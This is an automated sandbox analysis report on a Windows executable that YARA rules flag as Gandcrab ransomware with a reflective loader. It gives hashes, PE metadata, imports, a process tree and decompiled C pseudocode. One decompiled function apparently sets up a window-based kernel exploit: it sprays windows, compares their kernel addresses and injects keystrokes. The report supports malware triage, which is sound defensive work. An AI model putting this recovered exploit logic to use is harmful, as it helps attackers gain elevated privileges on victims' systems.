SHA1:	CA9FAE7738916E845C90B37DA95C2B06BAB3B294
SHA-256:	8E4496A05D4373E8EFC1358AA278C11A2639CECF86AD744F8A492B6CBBD9C630
SHA-512:	31F04CC5C18B86C62A8A621B90CF110E510569C8717C74EEB9BC2CB9B5E99EEFFE2421E93D2A4BEFA9C7C78D21AED74738EC1D031DA07B3BC534837F4F7CA6E8
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.2.6.8.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9B44.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4563
Entropy (8bit):	4.442876235276256
Encrypted:	false
SSDEEP:	48:cvIwSD8zspJgtWI9qUWgc8sqYji8fm8M4JNWFXhho+q8FCevxEATULMd:uITf7hNgrsqYrJ0hyXevOATULMd
MD5:	CAF0E5DE2CF8BA7461786631E7875A69
SHA1:	02194DB299C7DF9D3E170E694DA2DCB9EDE3FB5E
SHA-256:	333617884EFEDD0428071F30423AB1BE7EBA23F46EE7B32C922B87F79258F534
SHA-512:	DBF3AC05100C97BDB368DC0094D24B2BE7F1EA0146ABD7B1724CCC0BC6E7FE2B16471AB916314DCCC41226BAC19DCFA1498C2412BE8A160C503A3102EA8102F3
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1672810" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.497360445509992
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	vy3mvlAaCZ.exe
File size:	159232
MD5:	1873a210d41acdef243e921f3810803a
SHA1:	6fa90a229148759d12c63bee342e55fa887f6976
SHA256:	34c779bada9918972748153c3f618d6656148748478beec1ec57c7bb5e363593
SHA512:	2a45638cc994e6e3af3fe3f7ec153235591c5e07893665485a0e564aefce1f9a8d8da9146b1d7eeab45c09f3fb4afa56107467013fe4e490800546827af96676
SSDEEP:	3072:l5K/B0toL6SNJmlZHQsozTS+SMqqDL2/TrKdcG:lcytw/u1yTS+xqqDL6HKL
TLSH:	EAF38C1971D1A0B2E4F30976D5B8AF12446DFC111BB07CDB72E61A9E19320E3AE39B53
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......V..{...(...(...(...(...(..?(...(T.?(...(T..(...(T.>(w..(..M(...(...(...(..:(...(...(...(Rich...(........................PE..L..

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General

Entrypoint:	0x401612
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x5AF0C742 [Mon May 7 21:38:10 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	7848011b763d00cd02658995847dd30b

Entrypoint Preview

Instruction
call 00007F3424C7490Fh
jmp 00007F3424C73520h
cmp ecx, dword ptr [00413050h]
jne 00007F3424C736A4h
rep ret
jmp 00007F3424C74C9Bh
int3
int3
int3
int3
int3
mov ecx, dword ptr [esp+08h]
mov eax, dword ptr [esp+04h]
push edi
push ebx
push esi
cmp dword ptr [00427E00h], 01h
jc 00007F3424C73874h
ja 00007F3424C737A3h
movzx edx, byte ptr [ecx]
mov ebx, edx
shl edx, 08h
or edx, ebx
je 00007F3424C7378Fh
movd xmm3, edx
pshuflw xmm3, xmm3, 00h
movlhps xmm3, xmm3
pxor xmm0, xmm0
mov esi, ecx
or edi, FFFFFFFFh
movzx ebx, byte ptr [ecx]
add ecx, 01h
test ebx, ebx
je 00007F3424C736BFh
test ecx, 0000000Fh
jne 00007F3424C73690h
movdqa xmm2, dqword ptr [ecx]
pcmpeqb xmm2, xmm0
pmovmskb ebx, xmm2
test ebx, ebx
jne 00007F3424C736A7h
mov edi, 0000000Fh
movd edx, xmm3
mov ebx, 00000FFFh
and ebx, eax
cmp ebx, 00000FF0h
jnbe 00007F3424C736C9h
movdqu xmm1, dqword ptr [eax]
pxor xmm2, xmm2
pcmpeqb xmm2, xmm1
pcmpeqb xmm1, xmm3
por xmm1, xmm2
pmovmskb ebx, xmm1
add eax, 10h
test ebx, ebx
je 00007F3424C73674h
bsf ebx, ebx
sub eax, 10h
add eax, ebx
movzx ebx, byte ptr [eax]
test ebx, ebx

Rich Headers

Programming Language:

[C++] VS2013 build 21005
[IMP] VS2008 SP1 build 30729
[LNK] VS2013 build 21005

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x12164	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2a000	0x1120	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x11df8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xe000	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xc9c7	0xca00	False	0.5717435024752475	data	6.680188843446378	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xe000	0x49d4	0x4a00	False	0.4021853885135135	data	4.712898301860252	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x13000	0x161c4	0x14400	False	0.47274064429012347	data	6.3863967246134115	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x2a000	0x1120	0x1200	False	0.7840711805555556	data	6.544131886571421	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
KERNEL32.dll	GetCurrentProcess, WaitForSingleObject, OpenProcess, Sleep, GetModuleFileNameW, CreateFileW, ExitThread, GetLastError, GetProcAddress, ExitProcess, GetModuleHandleA, CloseHandle, GetCurrentProcessId, GetVersionExW, LoadLibraryA, lstrlenW, TerminateThread, CreateThread, WriteConsoleW, SetFilePointerEx, VirtualProtect, IsWow64Process, SetStdHandle, GetConsoleMode, GetConsoleCP, FlushFileBuffers, GetCommandLineA, SetLastError, GetCurrentThreadId, EncodePointer, DecodePointer, GetModuleHandleExW, MultiByteToWideChar, WideCharToMultiByte, GetProcessHeap, GetStdHandle, GetFileType, DeleteCriticalSection, GetStartupInfoW, GetModuleFileNameA, WriteFile, QueryPerformanceCounter, GetSystemTimeAsFileTime, GetEnvironmentStringsW, FreeEnvironmentStringsW, IsDebuggerPresent, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, InitializeCriticalSectionAndSpinCount, TerminateProcess, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetModuleHandleW, EnterCriticalSection, LeaveCriticalSection, HeapFree, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, LoadLibraryExW, OutputDebugStringW, HeapAlloc, HeapReAlloc, GetStringTypeW, HeapSize, LCMapStringW
USER32.dll	SetFocus, SendMessageW, CharUpperBuffW, GetForegroundWindow, GetSystemMetrics, GetMessageW, TranslateMessage, DispatchMessageW, SetForegroundWindow, DefWindowProcW, RegisterClassExW, CreateWindowExW, DestroyWindow, ShowWindow, keybd_event, UpdateWindow, SetWindowTextW, GetWindowLongW, SetWindowLongW, SystemParametersInfoW, GetAncestor
ntdll.dll	RtlUnwind

Network Behavior

⊘No network behavior found

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: vy3mvlAaCZ.exePID: 4268, Parent PID: 5352

General

Target ID:	0
Start time:	23:59:22
Start date:	31/08/2022
Path:	C:\Users\user\Desktop\vy3mvlAaCZ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\vy3mvlAaCZ.exe"
Imagebase:	0x930000
File size:	159232 bytes
MD5 hash:	1873A210D41ACDEF243E921F3810803A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Gandcrab, Description: Yara detected Gandcrab, Source: 00000000.00000000.259577181.0000000000944000.00000008.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_ReflectiveLoader, Description: Yara detected ReflectiveLoader, Source: 00000000.00000000.259577181.0000000000944000.00000008.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Gandcrab, Description: Yara detected Gandcrab, Source: 00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_ReflectiveLoader, Description: Yara detected ReflectiveLoader, Source: 00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Gandcrab, Description: Yara detected Gandcrab, Source: 00000000.00000000.256875847.0000000000943000.00000008.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_ReflectiveLoader, Description: Yara detected ReflectiveLoader, Source: 00000000.00000000.256875847.0000000000943000.00000008.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Gandcrab, Description: Yara detected Gandcrab, Source: 00000000.00000000.260275699.0000000000944000.00000008.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_ReflectiveLoader, Description: Yara detected ReflectiveLoader, Source: 00000000.00000000.260275699.0000000000944000.00000008.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 4940, Parent PID: 4268

General

Target ID:	3
Start time:	23:59:24
Start date:	31/08/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4268 -s 244
Imagebase:	0x970000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: vy3mvlAaCZ.exePID: 4268, Parent PID: 5352COMMON

Execution Graph

Execution Coverage:	0.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.6%
Total number of Nodes:	1815
Total number of Limit Nodes:	10

Executed Functions

Function 00931497 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 90%

			E00931497(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t15;
				void* _t16;
				void* _t17;
				void* _t19;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr _t25;
				signed int _t36;
				void* _t46;
				void* _t50;
				void* _t54;

				_t48 = __esi;
				_t47 = __edi;
				_t46 = __edx;
				_push(0x14);
				_push(0x941e70);
				E009329F0(__ebx, __edi, __esi);
				E00932834(1);
				_t54 =  *0x930000 - 0x5a4d; // 0x5a4d
				if(_t54 == 0) {
					_t15 =  *0x93003c; // 0xf8
					__eflags =  *((intOrPtr*)(_t15 + 0x930000)) - 0x4550;
					if( *((intOrPtr*)(_t15 + 0x930000)) != 0x4550) {
						goto L1;
					} else {
						__eflags =  *((intOrPtr*)(_t15 + 0x930018)) - 0x10b;
						if( *((intOrPtr*)(_t15 + 0x930018)) != 0x10b) {
							goto L1;
						} else {
							_t36 = 0;
							__eflags =  *((intOrPtr*)(_t15 + 0x930074)) - 0xe;
							if( *((intOrPtr*)(_t15 + 0x930074)) > 0xe) {
								__eflags =  *(_t15 + 0x9300e8);
								_t6 =  *(_t15 + 0x9300e8) != 0;
								__eflags = _t6;
								_t36 = 0 | _t6;
							}
						}
					}
				} else {
					L1:
					_t36 = 0;
				}
				 *(_t50 - 0x1c) = _t36;
				_t16 = E00932041();
				_t55 = _t16;
				if(_t16 == 0) {
					E009315EB(0x1c);
				}
				_t17 = E00931CAC(_t36, _t47, _t55);
				_t56 = _t17;
				if(_t17 == 0) {
					_t17 = E009315EB(0x10);
				}
				E0093291D(_t17);
				 *(_t50 - 4) =  *(_t50 - 4) & 0x00000000;
				_t19 = E00932056(_t36, _t47, _t48, _t56); // executed
				if(_t19 < 0) {
					E009315EB(0x1b);
				}
				 *0x9591c0 = GetCommandLineA();
				 *0x957260 = E0093295D(_t46);
				_t22 = E0093230A();
				_t58 = _t22;
				if(_t22 < 0) {
					E00931D89(_t36, _t46, _t47, _t48, _t58, 8);
				}
				_t23 = E00932539(_t36, _t46, _t47, _t48);
				_t59 = _t23;
				if(_t23 < 0) {
					E00931D89(_t36, _t46, _t47, _t48, _t59, 9);
				}
				_t24 = E00931DC3(1);
				_t60 = _t24;
				if(_t24 != 0) {
					E00931D89(_t36, _t46, _t47, _t48, _t60, _t24);
				}
				_t25 =  *0x957278; // 0x1462a8
				 *0x957298 = _t25;
				_push(_t25);
				_push( *0x957270);
				_push( *0x95726c);
				E009313F5();
				_t49 = _t25;
				 *((intOrPtr*)(_t50 - 0x24)) = _t25;
				if(_t36 == 0) {
					E0093202D(_t49);
				}
				E00931DB4();
				 *(_t50 - 4) = 0xfffffffe;
				return E00932A35(_t49);
			}

0x00931497
0x00931497
0x00931497
0x00931497
0x00931499
0x0093149e
0x009314a5
0x009314b0
0x009314b7
0x009314bd
0x009314c2
0x009314cc
0x00000000
0x009314ce
0x009314d3
0x009314da
0x00000000
0x009314dc
0x009314dc
0x009314de
0x009314e5
0x009314e7
0x009314ed
0x009314ed
0x009314ed
0x009314ed
0x009314e5
0x009314da
0x009314b9
0x009314b9
0x009314b9
0x009314b9
0x009314f0
0x009314f3
0x009314f8
0x009314fa
0x009314fe
0x00931503
0x00931504
0x00931509
0x0093150b
0x0093150f
0x00931514
0x00931515
0x0093151a
0x0093151e
0x00931525
0x00931529
0x0093152e
0x00931535
0x0093153f
0x00931544
0x00931549
0x0093154b
0x0093154f
0x00931554
0x00931555
0x0093155a
0x0093155c
0x00931560
0x00931565
0x00931568
0x0093156e
0x00931570
0x00931573
0x00931578
0x00931579
0x0093157e
0x00931583
0x00931584
0x0093158a
0x00931590
0x00931598
0x0093159a
0x0093159f
0x009315a2
0x009315a2
0x009315a7
0x009315dc
0x009315ea

APIs

_fast_error_exit.LIBCMT ref: 009314FE
_fast_error_exit.LIBCMT ref: 0093150F
__RTC_Initialize.LIBCMT ref: 00931515
__ioinit.LIBCMT ref: 0093151E
_fast_error_exit.LIBCMT ref: 00931529
GetCommandLineA.KERNEL32(00941E70,00000014), ref: 0093152F
___crtGetEnvironmentStringsA.LIBCMT ref: 0093153A
__setargv.LIBCMT ref: 00931544
__setenvp.LIBCMT ref: 00931555
__cinit.LIBCMT ref: 00931568

Strings

.$, xrefs: 009314DE

Memory Dump Source

Source File: 00000000.00000002.270957240.0000000000931000.00000020.00000001.01000000.00000003.sdmp, Offset: 00930000, based on PE: true

Associated: 00000000.00000002.270954040.0000000000930000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.270971167.000000000093E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271007675.0000000000943000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271021541.0000000000957000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271024856.0000000000959000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271028191.000000000095A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_930000_vy3mvlAaCZ.jbxd

Yara matches

Similarity

API ID: _fast_error_exit$CommandEnvironmentInitializeLineStrings___crt__cinit__ioinit__setargv__setenvp
String ID: .$
API String ID: 3919536372-2223841709
Opcode ID: 447e92271375a9df1e2013866e30e85f0f24eb8dff11c132a35ea82408139404
Instruction ID: ecf23839919412c23104172202239e24774b77e216e11c91aa7e08427df8307b
Opcode Fuzzy Hash: 447e92271375a9df1e2013866e30e85f0f24eb8dff11c132a35ea82408139404
Instruction Fuzzy Hash: 9A21C470A043019AEB157BF1BD56B6D32A8AFD0715F10416AF5168A1F2EB748A80DF61

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0093C090 Relevance: 44.1, APIs: 22, Strings: 3, Instructions: 301
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E0093C090(void* __ebx, void* __edx, void* __esi) {
				signed int _v8;
				short _v10;
				short _v2008;
				char _v3032;
				signed int _v3036;
				intOrPtr _v3040;
				intOrPtr _v3044;
				struct _WNDCLASSEXW _v3092;
				void* __edi;
				signed int _t49;
				struct HWND__* _t64;
				signed int _t65;
				intOrPtr _t69;
				struct HWND__* _t71;
				intOrPtr _t76;
				intOrPtr _t85;
				intOrPtr _t87;
				intOrPtr _t98;
				intOrPtr _t105;
				intOrPtr _t121;
				intOrPtr _t126;
				void* _t128;
				void* _t129;
				void* _t146;
				void* _t147;
				signed int _t150;
				void* _t151;
				void* _t152;
				void* _t154;
				signed int _t156;
				signed int _t157;
				void* _t158;
				void* _t159;
				struct _SECURITY_ATTRIBUTES* _t160;
				signed int _t164;

				_t155 = __esi;
				_t146 = __edx;
				_t125 = __ebx;
				_t49 =  *0x943050; // 0xce43520a
				_v8 = _t49 ^ _t164;
				if( *0x957fe8 == 0 ||  *0x957fec == 0) {
					return E0093161C(_t125, _v8 ^ _t164, _t146, _t147, _t155);
				} else {
					_push(_t147);
					_v3092.cbSize = 0x30;
					_v3092.cbClsExtra = 0;
					_v3092.cbWndExtra = 0;
					memset( &_v2008, 0x610061, 0x64 << 2);
					asm("xorps xmm0, xmm0");
					_v10 = 0;
					_v3092.style = 0;
					_v3092.lpfnWndProc = DefWindowProcW;
					_v3092.hInstance =  *0x958030;
					asm("movdqu [ebp-0xbf8], xmm0");
					_v3092.lpszClassName = L"MyExtraWnd";
					_v3092.hIconSm = 0;
					if(RegisterClassExW( &_v3092) != 0) {
						E00935A90( &_v3032, 0, 0x400);
						_t150 = 0;
						while(1) {
							_t64 = CreateWindowExW(0, L"MyExtraWnd",  &_v2008, 0, 0, 0, 0, 0, 0, 0,  *0x958030, 0);
							 *(_t164 + _t150 * 4 - 0xbd4) = _t64;
							if(_t64 == 0) {
								break;
							}
							_t150 = _t150 + 1;
							if(_t150 < 0x100) {
								continue;
							}
							break;
						}
						_t65 = 0;
						_push(_t125);
						_v3036 = 0;
						_push(_t155);
						do {
							_t66 =  *((intOrPtr*)(_t164 + _t65 * 4 - 0xbd4));
							_t156 = 0;
							_v3040 =  *((intOrPtr*)(_t164 + _t65 * 4 - 0xbd4));
							while(1) {
								_t126 =  *((intOrPtr*)(E0093C750(_t66) + 0x10));
								_t69 =  *((intOrPtr*)(E0093C750( *((intOrPtr*)(_t164 + _t156 * 4 - 0xbd4))) + 0x10));
								_v3044 = _t69;
								if(_t126 < _t69 && _t126 + 0x40000 > _t69 + 0x300) {
									break;
								}
								_t156 = _t156 + 1;
								if(_t156 <= _t150) {
									_t66 = _v3040;
									continue;
								}
								L14:
								if( *0x958004 == 0 ||  *0x958010 == 0) {
									goto L16;
								}
								goto L17;
							}
							 *0x958004 = _v3040;
							 *0x958010 =  *((intOrPtr*)(_t164 + _t156 * 4 - 0xbd4));
							 *0x958008 = E0093C750(_v3040);
							 *0x958014 = E0093C750( *((intOrPtr*)(_t164 + _t156 * 4 - 0xbd4)));
							 *0x95800c = _t126;
							 *0x958018 = _v3044;
							 *0x958020 =  *((intOrPtr*)( *0x958008 + 8));
							_t121 =  *0x957fe8; // 0x0
							 *0x95801c =  *0x95800c + _t121 + 0xfffffffc;
							goto L14;
							L16:
							_t65 = _v3036 + 1;
							_v3036 = _t65;
						} while (_t65 <= _t150);
						L17:
						_t157 = 0;
						do {
							_t71 =  *(_t164 + _t157 * 4 - 0xbd4);
							if(_t71 !=  *0x958004 && _t71 !=  *0x958010) {
								DestroyWindow(_t71);
							}
							_t157 = _t157 + 1;
						} while (_t157 < 0x100);
						if( *0x958004 == 0 ||  *0x958010 == 0) {
							_pop(_t158);
							_pop(_t128);
							_pop(_t151);
							return E0093161C(_t128, _v8 ^ _t164, _t146, _t151, _t158);
						} else {
							if( *0x958024 == 0) {
								while(1) {
									_t76 =  *0x9441a0; // 0xa
									if( *0x958034 >= _t76) {
										goto L33;
									}
									 *0x958048 = 0;
									 *0x95804c = 0;
									 *0x958044 = 0;
									if( *0x958024 == 0) {
										_t160 = 0;
										 *0x958038 = CreateThread(0, 0, E0093B970, 0, 0, 0);
										while( *0x958044 == 0) {
											_t160 =  &(_t160->nLength);
											Sleep(0x32);
											if(_t160 < 0x14) {
												continue;
											} else {
												L31:
												DestroyWindow( *0x958048);
												DestroyWindow( *0x95804c);
												TerminateThread( *0x958038, 0xffffffff);
											}
											goto L32;
										}
										if(_t160 >= 0x14) {
											goto L31;
										} else {
											_t85 =  *0x9441a8; // 0x258
											_t87 =  *0x9441a4; // 0x320
											 *0x95804c = CreateWindowExW(0x80000, L"MyMainWnd", 0, 0x10000000, _t87 + 1, _t85 + 1, 1, 1, 0, 0,  *0x958030, 0);
											if( *0x95804c != 0) {
												SetWindowLongW( *0x95804c, 0xfffffff0, GetWindowLongW( *0x95804c, 0xfffffff0) | 0x40000000);
												_t105 =  *0x957fec; // 0x0
												SetWindowLongW( *0x95804c, 0xfffffff4,  *0x95800c + _t105 + 0xffffffef);
												keybd_event(0x12, 0, 0, 0);
												keybd_event(0x1b, 0, 0, 0);
												keybd_event(0x1b, 0, 2, 0);
												keybd_event(0x12, 0, 2, 0);
												Sleep(0x64);
											}
											DestroyWindow( *0x958048);
											DestroyWindow( *0x95804c);
											TerminateThread( *0x958038, 0xffffffff);
											WaitForSingleObject( *0x958038, 0xffffffff);
											if( *0x958024 == 0) {
												_t98 =  *0x957fec; // 0x0
												if( *((intOrPtr*)( *0x958008 + _t98)) >= 0x4000000) {
													 *0x958024 = E0093B6E0();
												}
											}
											goto L32;
										}
										goto L42;
									}
									L32:
									 *0x958034 =  *0x958034 + 1;
									if( *0x958024 == 0) {
										continue;
									}
									goto L33;
								}
							}
							L33:
							_pop(_t159);
							_pop(_t129);
							_pop(_t152);
							return E0093161C(_t129, _v8 ^ _t164, _t146, _t152, _t159);
						}
					} else {
						_pop(_t154);
						return E0093161C(__ebx, _v8 ^ _t164, _t146, _t154, __esi);
					}
				}
				L42:
			}

0x0093c090
0x0093c090
0x0093c090
0x0093c099
0x0093c0a0
0x0093c0aa
0x0093c4d5
0x0093c0bd
0x0093c0bd
0x0093c0c3
0x0093c0d2
0x0093c0e2
0x0093c0ec
0x0093c0f0
0x0093c0f3
0x0093c0f7
0x0093c102
0x0093c10d
0x0093c11a
0x0093c122
0x0093c12c
0x0093c13f
0x0093c160
0x0093c168
0x0093c170
0x0093c194
0x0093c19a
0x0093c1a3
0x00000000
0x00000000
0x0093c1a5
0x0093c1ac
0x00000000
0x00000000
0x00000000
0x0093c1ac
0x0093c1ae
0x0093c1b0
0x0093c1b1
0x0093c1b7
0x0093c1c0
0x0093c1c0
0x0093c1c7
0x0093c1c9
0x0093c1d0
0x0093c1dd
0x0093c1e5
0x0093c1e8
0x0093c1f0
0x00000000
0x00000000
0x0093c202
0x0093c205
0x0093c207
0x00000000
0x0093c207
0x0093c271
0x0093c278
0x00000000
0x00000000
0x00000000
0x0093c278
0x0093c21c
0x0093c221
0x0093c22d
0x0093c238
0x0093c243
0x0093c249
0x0093c256
0x0093c25b
0x0093c26b
0x00000000
0x0093c283
0x0093c289
0x0093c28a
0x0093c290
0x0093c298
0x0093c29e
0x0093c2a0
0x0093c2a0
0x0093c2ad
0x0093c2b8
0x0093c2b8
0x0093c2ba
0x0093c2bb
0x0093c2ca
0x0093c4b3
0x0093c4b4
0x0093c4b7
0x0093c4c5
0x0093c2dd
0x0093c2e4
0x0093c2f0
0x0093c2f0
0x0093c2fb
0x00000000
0x00000000
0x0093c301
0x0093c30b
0x0093c315
0x0093c326
0x0093c328
0x0093c33a
0x0093c340
0x0093c34b
0x0093c34c
0x0093c351
0x00000000
0x0093c353
0x0093c353
0x0093c359
0x0093c361
0x0093c36b
0x0093c36b
0x00000000
0x0093c351
0x0093c39d
0x00000000
0x0093c39f
0x0093c3a7
0x0093c3b6
0x0093c3d4
0x0093c3e0
0x0093c404
0x0093c406
0x0093c41f
0x0093c42f
0x0093c439
0x0093c443
0x0093c44d
0x0093c451
0x0093c451
0x0093c459
0x0093c461
0x0093c46b
0x0093c479
0x0093c486
0x0093c492
0x0093c49e
0x0093c4a9
0x0093c4a9
0x0093c49e
0x00000000
0x0093c486
0x00000000
0x0093c39d
0x0093c371
0x0093c371
0x0093c37e
0x00000000
0x00000000
0x00000000
0x0093c37e
0x0093c2f0
0x0093c384
0x0093c389
0x0093c38a
0x0093c38b
0x0093c399
0x0093c399
0x0093c141
0x0093c143
0x0093c151
0x0093c151
0x0093c13f
0x00000000

APIs

RegisterClassExW.USER32 ref: 0093C136
_memset.LIBCMT ref: 0093C160
CreateWindowExW.USER32 ref: 0093C194
DestroyWindow.USER32(?,?,?), ref: 0093C2B8

Strings

MyMainWnd, xrefs: 0093C3C4
0, xrefs: 0093C0C3
MyExtraWnd, xrefs: 0093C122, 0093C18D

Memory Dump Source

Source File: 00000000.00000002.270957240.0000000000931000.00000020.00000001.01000000.00000003.sdmp, Offset: 00930000, based on PE: true

Associated: 00000000.00000002.270954040.0000000000930000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.270971167.000000000093E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271007675.0000000000943000.00000004.00000001.01000000.00000003.sdmpDownload File
